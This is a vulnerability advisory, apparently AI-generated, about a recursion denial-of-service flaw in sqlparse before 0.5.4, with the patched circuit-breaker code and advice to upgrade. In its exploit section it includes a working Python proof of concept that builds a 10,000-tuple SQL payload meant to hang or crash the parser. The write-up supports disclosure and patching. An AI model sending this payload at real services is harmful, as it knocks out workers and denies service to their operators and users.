CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-27JP-WM6Q-GP25

Death by Parentheses: The sqlparse Recursive DoS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 13, 2026·6 min read·70 visits

Executive Summary (TL;DR)

The `sqlparse` library prior to version 0.5.4 contains a recursive looping flaw. Attackers can trigger a Denial of Service by sending SQL queries with massive lists of tuples (e.g., in `IN` clauses), causing the parser to hit recursion limits or hang the CPU. Patch by upgrading to 0.5.4, which introduces circuit breakers.

A high-impact Denial of Service vulnerability in the ubiquitous `sqlparse` Python library allows attackers to exhaust server CPU and memory via deeply nested SQL statements. By exploiting unchecked recursion in the grouping engine, a crafted payload containing massive lists of tuples can crash applications using this library for logging, formatting, or analysis.

The Hook: Your Prettifier is a Time Bomb

If you write Python and touch databases, you are likely using sqlparse. It is the silent workhorse behind the scenes of Django Debug Toolbar, pgcli, dbt, and countless internal admin panels. Its job is simple: take a messy, generated SQL string and make it human-readable. It parses SQL purely in Python, relying on a complex dance of regular expressions and recursive logic to identify statements, keywords, and identifiers.

But here is the catch: parsing SQL without a formal grammar or a C-extension is like building a skyscraper out of playing cards. It works beautifully until the wind blows the wrong way. In this case, the 'wind' is a specific type of SQL structure—lists of tuples—that sends the library's grouping engine into a death spiral.

This isn't just a bug for database administrators. If your web application logs formatted SQL queries for debugging, or if you expose a 'prettify' feature in a SaaS dashboard, you are vulnerable. You aren't just formatting text; you are essentially running a denial-of-service endpoint for anyone who can construct a valid, albeit massive, SQL query.

The Flaw: Recursive Madness

The vulnerability lives in sqlparse.engine.grouping. To format SQL, the library attempts to group tokens into logical units—parentheses become Parenthesis objects, identifiers become Identifier objects, and so on. This is handled by functions like _group_matching and _group. These functions are recursive by design. When the parser encounters an opening parenthesis (, it dives down a level to find the matching closing parenthesis ).

Now, consider a query like this: SELECT * FROM table WHERE (a, b) IN ((1, 2), (3, 4), ... ).

For every tuple (1, 2), the parser sees a new group. In older versions of sqlparse, there were no guardrails on how deep this rabbit hole could go. When an attacker supplies a query with 10,000 nested or sequential tuples, the parser doesn't just iterate; it recurses or re-evaluates the token stream with quadratic complexity. The engine frantically tries to resolve the nesting, consuming stack frames until Python screams RecursionError or the CPU spins at 100% for an eternity.

The Code: Adding the Brakes

The fix, landed in version 0.5.4, is an admission that the algorithm itself cannot handle infinite complexity. The maintainers introduced "circuit breakers"—hard limits on recursion depth and token counts.

Let's look at the vulnerable logic versus the patched logic in sqlparse/engine/grouping.py. The patch introduces MAX_GROUPING_DEPTH (default 100) and MAX_GROUPING_TOKENS (default 10000).

The Fix (Commit 40ed3aa):

# Inside _group_matching
 
def _group_matching(tlist, cls, depth=0):
    # THE FIX: Circuit breakers added here
    if MAX_GROUPING_DEPTH is not None and depth > MAX_GROUPING_DEPTH:
        return # Abort if we are too deep
 
    if MAX_GROUPING_TOKENS is not None and len(tlist.tokens) > MAX_GROUPING_TOKENS:
        return # Abort if the list is too massive
 
    # ... existing grouping logic ...
    _group_matching(token, cls, depth + 1)

Before this patch, _group_matching would happily increment depth until the interpreter crashed. Now, it simply gives up. It's a pragmatic fix: it preserves the application's stability at the cost of failing to format a ridiculously complex query perfectly.

The Exploit: Crashing the Worker

Exploiting this is trivially easy and requires no authentication if the input vector is open (like a public API that logs queries). We don't need binary shellcode; we just need a lot of text.

Here is a Python Proof-of-Concept that generates a payload guaranteed to trigger the issue on vulnerable versions:

import sqlparse
import time
 
# 1. Craft the malicious payload
# We create a list of 10,000 tuples. 
# This looks like: ((1,2), (1,2), ... )
payload_tuples = ['(1, 2)'] * 10000
malicious_sql = 'SELECT * FROM t WHERE (a, b) IN (' + ', '.join(payload_tuples) + ')'
 
print(f"Payload size: {len(malicious_sql)} bytes")
 
# 2. Trigger the DoS
print("Attempting to format... (Prepare for hang/crash)")
start = time.time()
try:
    # This function call will hang or raise RecursionError in < 0.5.4
    sqlparse.format(malicious_sql, reindent=True)
except RecursionError:
    print("SUCCESS: RecursionError triggered!")
except Exception as e:
    print(f"Caught exception: {e}")
 
print(f"Time taken: {time.time() - start:.2f}s")

Running this on version 0.4.4 will likely result in an immediate RecursionError or a multi-second hang depending on the exact structure. In a web server context (e.g., gunicorn with sync workers), a single request like this knocks out a worker process. Send 10 concurrent requests, and the server is dead.

The Impact: Why This Matters

You might think, "Who lets users format arbitrary SQL?" You'd be surprised. Many developer tools, database GUIs, and logging middlewares automatically pass SQL traffic through sqlparse to make logs readable.

Imagine a scenario where you have an API endpoint that takes a list of IDs. An attacker sends a request with 10,000 IDs. Your backend generates a valid SQL query: SELECT ... WHERE id IN (...). Then, your logging middleware kicks in: "Oh, let me pretty-print this query for the debug log!"

Boom. The logging thread hangs. The request times out. The attacker didn't need to inject SQL into the database; they just needed to inject enough complexity to choke the formatter. This is a classic asymmetric attack: cheap for the attacker to generate, expensive for the defender to process.

Mitigation: Upgrade or Die

The mitigation is straightforward: Upgrade to sqlparse 0.5.4 immediately. This version includes the default limits that prevent the recursion depth from exploding.

If you are stuck on an older version for some god-forsaken reason (dependency hell is real), you are out of luck unless you monkey-patch the library manually. There are no configuration flags in older versions to stop this behavior.

For those already on 0.5.4, if you find that legitimate, massive queries are not being formatted correctly (i.e., the limits are too aggressive), you can tune them:

import sqlparse.engine.grouping
# Only increase if you trust the input source!
sqlparse.engine.grouping.MAX_GROUPING_DEPTH = 200

However, increasing these limits just re-opens the door you just shut. Keep them low. Nobody needs to pretty-print a SQL query with 10,000 tuples.

Official Patches

GitHubsqlparse Changelog Release 0.5.4

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%

Affected Systems

Django Debug Toolbardbt (data build tool)pgcliPython-based SQL logging middlewareCustom SQL administration interfaces

Affected Versions Detail

Product
Affected Versions
Fixed Version
sqlparse
Andi Albrecht
< 0.5.40.5.4
AttributeDetail
Vulnerability TypeDenial of Service (DoS)
CWE IDCWE-400 / CWE-674
CVSS (Estimated)6.5 (Medium)
Attack VectorNetwork (via crafted SQL input)
Affected Componentsqlparse.engine.grouping
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-674
Uncontrolled Recursion

Vulnerability Timeline

Disclosed by andialbrecht
2024-11-25
Fix commit 40ed3aa merged
2025-05-28
Release 0.5.4 Published
2025-11-28

References & Sources

  • [1]GHSA-27JP-WM6Q-GP25 Advisory
  • [2]sqlparse Security Documentation

More Reports

•2 days ago•CVE-2026-54068
5.9

CVE-2026-54068: Unauthenticated Server-Side Template Injection and SQLite Exfiltration in SiYuan PKM

An authentication bypass in the SiYuan personal knowledge management system before version 3.7.0 exposes a dynamic icon rendering endpoint. This endpoint processes client-supplied Go template directives. By submitting a crafted request, an unauthenticated remote attacker can leverage registered database template functions to execute arbitrary read-only SQL queries and exfiltrate workspace contents.

Amit Schendel
Amit Schendel
12 views•5 min read
•2 days ago•CVE-2026-54069
9.1

CVE-2026-54069: Authentication Bypass in SiYuan Note via Origin Header Spoofing

CVE-2026-54069 is a critical authentication bypass vulnerability in the SiYuan Note personal knowledge management system. The flaw is located in the HTTP server's middleware handling API authorization, which unconditionally trusts requests carrying a 'chrome-extension://' scheme in the Origin HTTP header, granting administrative access without validating API tokens.

Alon Barad
Alon Barad
10 views•5 min read
•2 days ago•CVE-2026-54089
9.1

CVE-2026-54089: Authentication Bypass by Spoofing in File Browser

CVE-2026-54089 is a critical authentication bypass vulnerability in File Browser affecting instances configured with proxy-based authentication. An unauthenticated remote attacker with direct network access can impersonate arbitrary users or register new accounts by spoofing configured HTTP headers.

Amit Schendel
Amit Schendel
8 views•7 min read
•2 days ago•GHSA-99J7-FHR2-XFJ4
10.0

GHSA-99J7-FHR2-XFJ4: Malicious Remote Code Execution Payload in 'exploration' Cargo Crate

The malicious Cargo package 'exploration' was uploaded to the crates.io registry. During compilation or package import, the crate executes code designed to establish an outbound TCP/HTTP connection, download an external second-stage binary, and execute the binary locally on the host machine. This creates an unauthenticated remote code execution vector impacting developer environments and continuous integration pipelines.

Amit Schendel
Amit Schendel
11 views•6 min read
•2 days ago•CVE-2026-54088
9.3

CVE-2026-54088: Pre-Authentication Remote Code Execution in File Browser Hook Authentication

CVE-2026-54088 is a critical command injection vulnerability in File Browser prior to version 2.63.6. When Hook Authentication is enabled, the application interpolates unsanitized credentials into a shell command, allowing unauthenticated remote code execution.

Alon Barad
Alon Barad
10 views•6 min read
•2 days ago•GHSA-QV4M-M73M-8HJ7
8.8

GHSA-qv4m-m73m-8hj7: Authenticated Arbitrary File Upload leading to Remote Code Execution in NotrinosERP

An authenticated remote code execution vulnerability exists in NotrinosERP (versions up to and including 1.0.0) within the Human Resource Management (HRM) module. Users with employee management permissions can upload arbitrary file types, including PHP scripts, which are written directly to a web-accessible directory. This allows for arbitrary code execution in the context of the web-server user.

Alon Barad
Alon Barad
8 views•6 min read